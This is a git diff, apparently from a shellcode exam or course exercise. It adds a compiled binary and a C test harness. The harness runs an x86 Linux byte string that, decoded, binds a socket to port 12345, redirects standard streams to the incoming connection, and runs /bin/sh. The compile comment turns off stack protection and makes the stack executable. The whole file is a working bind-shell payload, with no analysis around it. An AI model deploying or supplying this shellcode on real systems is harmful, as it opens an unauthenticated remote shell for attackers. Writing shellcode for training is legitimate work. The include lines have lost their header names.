diff --git a/exam1/shellcode b/exam1/shellcode new file mode 100755 index 0000000..b313732 Binary files /dev/null and b/exam1/shellcode differ diff --git a/exam1/shellcode.c b/exam1/shellcode.c new file mode 100644 index 0000000..ec6c319 --- /dev/null +++ b/exam1/shellcode.c @@ -0,0 +1,22 @@ +/* + +To compile: +gcc -fno-stack-protector -z execstack shellcode.c -o shellcode + +*/ + +#include +#include + +unsigned char code[] = \ +"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x31\xd2\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; + +main() +{ + printf("Shellcode Length: %d\n", strlen(code)); + + int (*ret)() = (int(*)())code; + + ret(); +} +